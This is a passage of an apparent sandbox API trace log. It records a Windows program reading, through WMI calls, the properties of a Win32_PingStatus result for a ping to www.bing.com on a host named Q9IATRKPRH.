pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.401] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282d424*=0, plFlavor=0x282d428*=0 | out: pVal=0x59feb30*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x282d424*=8, plFlavor=0x282d428*=64) returned 0x0 [0138.401] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.401] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.402] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282d424*=8, plFlavor=0x282d428*=64 | out: pVal=0x59feb38*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x282d424*=8, plFlavor=0x282d428*=64) returned 0x0 [0138.402] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.402] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.402] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0138.402] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0138.402] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.402] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__Derivation", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282d54c*=0, plFlavor=0x282d550*=0 | out: pVal=0x59feb30*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea100*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5cc1230, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x282d54c*=8200, plFlavor=0x282d550*=64) returned 0x0 [0138.402] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__Derivation", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282d54c*=8200, plFlavor=0x282d550*=64 | out: pVal=0x59feb38*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5ce9fb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5cc1230, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x282d54c*=8200, plFlavor=0x282d550*=64) returned 0x0 [0138.403] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe760 | out: puCount=0x59fe760*=0x2) returned 0x0 [0138.403] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe75c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe75c*=0xf, pszText=0x0) returned 0x0 [0138.403] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe75c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe75c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.404] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe760 | out: puCount=0x59fe760*=0x2) returned 0x0 [0138.404] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe75c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe75c*=0xf, pszText=0x0) returned 0x0 [0138.404] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe75c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe75c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.404] IWbemClassObject:GetNames (in: This=0x5ce3b38, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe768*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe75c | out: pNames=0x59fe75c*="\x01ƀ\x04") returned 0x0 [0138.404] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0138.404] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0138.404] SafeArrayGetLBound (in: psa=0x5cea130, nDim=0x1, plLbound=0x59fe5f4 | out: plLbound=0x59fe5f4) returned 0x0 [0138.404] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.404] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.404] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.404] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.404] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.404] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.404] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.404] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.404] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.404] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.404] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.404] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.404] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.404] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.404] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.404] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.405] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.405] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.405] SysStringByteLen (bstr="__PATH") returned 0xc [0138.405] SysStringByteLen (bstr="__PATH") returned 0xc [0138.405] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__GENUS", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282ee68*=0, plFlavor=0x282ee6c*=0 | out: pVal=0x59fe758*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x282ee68*=3, plFlavor=0x282ee6c*=64) returned 0x0 [0138.405] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282ef70*=0, plFlavor=0x282ef74*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x282ef70*=8, plFlavor=0x282ef74*=64) returned 0x0 [0138.405] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.405] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.405] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282f004*=0, plFlavor=0x282f008*=0 | out: pVal=0x59fe758*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282f004*=8, plFlavor=0x282f008*=64) returned 0x0 [0138.405] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DYNASTY", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282f0c8*=0, plFlavor=0x282f0cc*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x282f0c8*=8, plFlavor=0x282f0cc*=64) returned 0x0 [0138.405] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.406] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.406] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__RELPATH", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282f15c*=0, plFlavor=0x282f160*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x282f15c*=8, plFlavor=0x282f160*=64) returned 0x0 [0138.406] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.406] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.406] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282f39c*=0, plFlavor=0x282f3a0*=0 | out: pVal=0x59fe758*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x282f39c*=3, plFlavor=0x282f3a0*=64) returned 0x0 [0138.406] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DERIVATION", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282f4e4*=0, plFlavor=0x282f4e8*=0 | out: pVal=0x59fe758*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea190*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5cc1230, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x282f4e4*=8200, plFlavor=0x282f4e8*=64) returned 0x0 [0138.407] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SERVER", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282f554*=0, plFlavor=0x282f558*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x282f554*=8, plFlavor=0x282f558*=64) returned 0x0 [0138.407] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.407] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.407] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282f5dc*=0, plFlavor=0x282f5e0*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x282f5dc*=8, plFlavor=0x282f5e0*=64) returned 0x0 [0138.407] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.407] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.407] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PATH", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282f6b0*=0, plFlavor=0x282f6b4*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x282f6b0*=8, plFlavor=0x282f6b4*=64) returned 0x0 [0138.407] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.407] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.407] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe79c | out: puCount=0x59fe79c*=0x2) returned 0x0 [0138.407] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe798*=0x0, pszText=0x0 | out: puBuffLength=0x59fe798*=0xf, pszText=0x0) returned 0x0 [0138.407] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe798*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe798*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.407] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe79c | out: puCount=0x59fe79c*=0x2) returned 0x0 [0138.407] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe798*=0x0, pszText=0x0 | out: puBuffLength=0x59fe798*=0xf, pszText=0x0) returned 0x0 [0138.408] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe798*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe798*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.408] IWbemClassObject:GetNames (in: This=0x5ce3b38, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x59fe7a4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe798 | out: pNames=0x59fe798*="\x01ƀ\x04") returned 0x0 [0138.408] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0138.408] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0138.408] SafeArrayGetLBound (in: psa=0x5cea130, nDim=0x1, plLbound=0x59fe630 | out: plLbound=0x59fe630) returned 0x0 [0138.408] SysStringByteLen (bstr="Address") returned 0xe [0138.408] SysStringByteLen (bstr="Address") returned 0xe [0138.408] SysStringByteLen (bstr="BufferSize") returned 0x14 [0138.408] SysStringByteLen (bstr="BufferSize") returned 0x14 [0138.408] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0138.408] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0138.408] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0138.408] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0138.408] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0138.408] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0138.408] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0138.408] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0138.408] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0138.408] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0138.408] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0138.408] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0138.408] SysStringByteLen (bstr="ReplySize") returned 0x12 [0138.409] SysStringByteLen (bstr="ReplySize") returned 0x12 [0138.409] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0138.409] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0138.409] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0138.409] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0138.409] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0138.409] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0138.409] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0138.409] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0138.409] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0138.409] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0138.409] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0138.409] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0138.409] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0138.409] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0138.409] SysStringByteLen (bstr="StatusCode") returned 0x14 [0138.409] SysStringByteLen (bstr="StatusCode") returned 0x14 [0138.409] SysStringByteLen (bstr="Timeout") returned 0xe [0138.409] SysStringByteLen (bstr="Timeout") returned 0xe [0138.409] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0138.409] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0138.409] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0138.409] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0138.410] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0138.410] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0138.410] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0138.410] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0138.410] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0138.410] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0138.410] SysStringByteLen (bstr="TypeofService") returned 0x1a [0138.410] SysStringByteLen (bstr="TypeofService") returned 0x1a [0138.410] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="Address", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282fe08*=0, plFlavor=0x282fe0c*=0 | out: pVal=0x59fe794*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x282fe08*=8, plFlavor=0x282fe0c*=0) returned 0x0 [0138.410] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.410] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.410] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="BufferSize", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282fe94*=0, plFlavor=0x282fe98*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x282fe94*=19, plFlavor=0x282fe98*=0) returned 0x0 [0138.411] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="NoFragmentation", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282ff04*=0, plFlavor=0x282ff08*=0 | out: pVal=0x59fe794*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282ff04*=11, plFlavor=0x282ff08*=0) returned 0x0 [0138.411] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283013c*=0, plFlavor=0x2830140*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283013c*=19, plFlavor=0x2830140*=0) returned 0x0 [0138.411] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="ProtocolAddress", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28301ac*=0, plFlavor=0x28301b0*=0 | out: pVal=0x59fe794*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="131.253.33.200", varVal2=0x0), pType=0x28301ac*=8, plFlavor=0x28301b0*=0) returned 0x0 [0138.411] SysStringByteLen (bstr="131.253.33.200") returned 0x1c [0138.411] SysStringByteLen (bstr="131.253.33.200") returned 0x1c [0138.411] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="ProtocolAddressResolved", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283023c*=0, plFlavor=0x2830240*=0 | out: pVal=0x59fe794*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x283023c*=8, plFlavor=0x2830240*=32) returned 0x0 [0138.411] SysStringByteLen (bstr="") returned 0x0 [0138.411] SysStringByteLen (bstr="") returned 0x0 [0138.411] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="RecordRoute", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28302a0*=0, plFlavor=0x28302a4*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28302a0*=19, plFlavor=0x28302a4*=0) returned 0x0 [0138.412] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="ReplyInconsistency", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283039c*=0, plFlavor=0x28303a0*=0 | out: pVal=0x59fe794*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283039c*=11, plFlavor=0x28303a0*=0) returned 0x0 [0138.412] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="ReplySize", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283040c*=0, plFlavor=0x2830410*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x283040c*=19, plFlavor=0x2830410*=0) returned 0x0 [0138.412] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="ResolveAddressNames", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283047c*=0, plFlavor=0x2830480*=0 | out: pVal=0x59fe794*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283047c*=11, plFlavor=0x2830480*=0) returned 0x0 [0138.412] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="ResponseTime", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28304ec*=0, plFlavor=0x28304f0*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x23, varVal2=0x0), pType=0x28304ec*=19, plFlavor=0x28304f0*=0) returned 0x0 [0138.413] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="ResponseTimeToLive", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2830568*=0, plFlavor=0x283056c*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6f, varVal2=0x0), pType=0x2830568*=19, plFlavor=0x283056c*=0) returned 0x0 [0138.413] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="RouteRecord", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28305d8*=0, plFlavor=0x28305dc*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28305d8*=8200, plFlavor=0x28305dc*=32) returned 0x0 [0138.413] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="RouteRecordResolved", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283063c*=0, plFlavor=0x2830640*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283063c*=8200, plFlavor=0x2830640*=32) returned 0x0 [0138.413] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="SourceRoute", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28306a0*=0, plFlavor=0x28306a4*=0 | out: pVal=0x59fe794*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x28306a0*=8, plFlavor=0x28306a4*=0) returned 0x0 [0138.413] SysStringByteLen (bstr="") returned 0x0 [0138.413] SysStringByteLen (bstr="") returned 0x0 [0138.413] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="SourceRouteType", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2830704*=0, plFlavor=0x2830708*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2830704*=19, plFlavor=0x2830708*=0) returned 0x0 [0138.414] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="StatusCode", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2830774*=0, plFlavor=0x2830778*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2830774*=19, plFlavor=0x2830778*=0) returned 0x0 [0138.414] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="Timeout", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2830c1c*=0, plFlavor=0x2830c20*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa0, varVal2=0x0), pType=0x2830c1c*=19, plFlavor=0x2830c20*=0) returned 0x0 [0138.414] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="TimeStampRecord", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2830c8c*=0, plFlavor=0x2830c90*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2830c8c*=8211, plFlavor=0x2830c90*=32) returned 0x0 [0138.414] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="TimeStampRecordAddress", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2830cf0*=0, plFlavor=0x2830cf4*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2830cf0*=8200, plFlavor=0x2830cf4*=32) returned 0x0 [0138.414] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="TimeStampRecordAddressResolved", lFlags=0, 